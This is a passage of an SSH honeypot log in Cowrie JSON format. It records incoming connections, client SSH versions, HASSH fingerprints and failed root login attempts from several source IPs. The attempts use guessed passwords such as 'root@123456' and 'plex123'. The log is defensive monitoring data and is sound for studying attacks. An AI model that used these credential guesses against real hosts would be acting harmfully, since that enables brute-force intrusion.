{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:54.746191Z","src_ip":"185.236.22.41","session":"a307e81e8097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:54.936192Z","src_ip":"43.135.168.126","session":"dae8c4951842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":48544,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71862606977","protocol":"ssh","message":"New connection: 109.237.96.109:48544 (10.17.0.5:22) [session: a71862606977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:01.075830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:01.307664Z","src_ip":"109.237.96.109","session":"a71862606977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:01.311980Z","src_ip":"109.237.96.109","session":"a71862606977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1357924680","message":"login attempt [root/1357924680] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:01.787801Z","src_ip":"109.237.96.109","session":"a71862606977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:02.889434Z","src_ip":"109.237.96.109","session":"a71862606977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":60304,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8a21d2c8c1a","protocol":"ssh","message":"New connection: 209.99.190.200:60304 (10.17.0.5:22) [session: a8a21d2c8c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:17.127316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:17.133892Z","src_ip":"209.99.190.200","session":"a8a21d2c8c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:17.230416Z","src_ip":"209.99.190.200","session":"a8a21d2c8c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r0cknr0ll","message":"login attempt [root/r0cknr0ll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:17.656607Z","src_ip":"209.99.190.200","session":"a8a21d2c8c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:18.756559Z","src_ip":"209.99.190.200","session":"a8a21d2c8c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":46526,"dst_ip":"10.17.0.5","dst_port":22,"session":"f17425ebf882","protocol":"ssh","message":"New connection: 43.153.56.192:46526 (10.17.0.5:22) [session: f17425ebf882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:19.575024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:19.580103Z","src_ip":"43.153.56.192","session":"f17425ebf882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:19.649314Z","src_ip":"43.153.56.192","session":"f17425ebf882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"donkey","message":"login attempt [root/donkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:19.959369Z","src_ip":"43.153.56.192","session":"f17425ebf882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:21.038297Z","src_ip":"43.153.56.192","session":"f17425ebf882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":54428,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b9c6a718f18","protocol":"ssh","message":"New connection: 20.203.59.187:54428 (10.17.0.5:22) [session: 5b9c6a718f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:23.896597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:23.901196Z","src_ip":"20.203.59.187","session":"5b9c6a718f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:24.057815Z","src_ip":"20.203.59.187","session":"5b9c6a718f18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plex123","message":"login attempt [root/plex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:24.716810Z","src_ip":"20.203.59.187","session":"5b9c6a718f18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:25.877485Z","src_ip":"20.203.59.187","session":"5b9c6a718f18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":57350,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc95b98c79fe","protocol":"ssh","message":"New connection: 111.32.153.180:57350 (10.17.0.5:22) [session: bc95b98c79fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:26.495568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:26.500606Z","src_ip":"111.32.153.180","session":"bc95b98c79fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:26.757644Z","src_ip":"111.32.153.180","session":"bc95b98c79fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxx","message":"login attempt [root/xxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:27.817621Z","src_ip":"111.32.153.180","session":"bc95b98c79fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":40834,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9c019824698","protocol":"ssh","message":"New connection: 43.163.81.22:40834 (159.203.135.109:22) [session: c9c019824698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:29.887393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:29.892810Z","src_ip":"43.163.81.22","session":"c9c019824698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:30.140789Z","src_ip":"43.163.81.22","session":"c9c019824698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":53130,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f3ad3e83327","protocol":"ssh","message":"New connection: 43.134.1.45:53130 (10.17.0.5:22) [session: 1f3ad3e83327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:30.293897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:30.301620Z","src_ip":"43.134.1.45","session":"1f3ad3e83327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:30.550741Z","src_ip":"43.134.1.45","session":"1f3ad3e83327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123456","message":"login attempt [root/root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:31.157502Z","src_ip":"43.163.81.22","session":"c9c019824698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polkadot","message":"login attempt [root/polkadot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:31.564596Z","src_ip":"43.134.1.45","session":"1f3ad3e83327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:32.406125Z","src_ip":"43.163.81.22","session":"c9c019824698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:32.814296Z","src_ip":"43.134.1.45","session":"1f3ad3e83327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":51068,"dst_ip":"10.17.0.5","dst_port":22,"session":"2afe8802fdd7","protocol":"ssh","message":"New connection: 43.153.50.197:51068 (10.17.0.5:22) [session: 2afe8802fdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:36.689510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:36.701950Z","src_ip":"43.153.50.197","session":"2afe8802fdd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:36.769454Z","src_ip":"43.153.50.197","session":"2afe8802fdd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6969","message":"login attempt [root/6969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:37.074523Z","src_ip":"43.153.50.197","session":"2afe8802fdd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":40346,"dst_ip":"10.17.0.5","dst_port":22,"session":"519e711df6ae","protocol":"ssh","message":"New connection: 43.173.83.154:40346 (10.17.0.5:22) [session: 519e711df6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:37.317436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:37.327897Z","src_ip":"43.173.83.154","session":"519e711df6ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha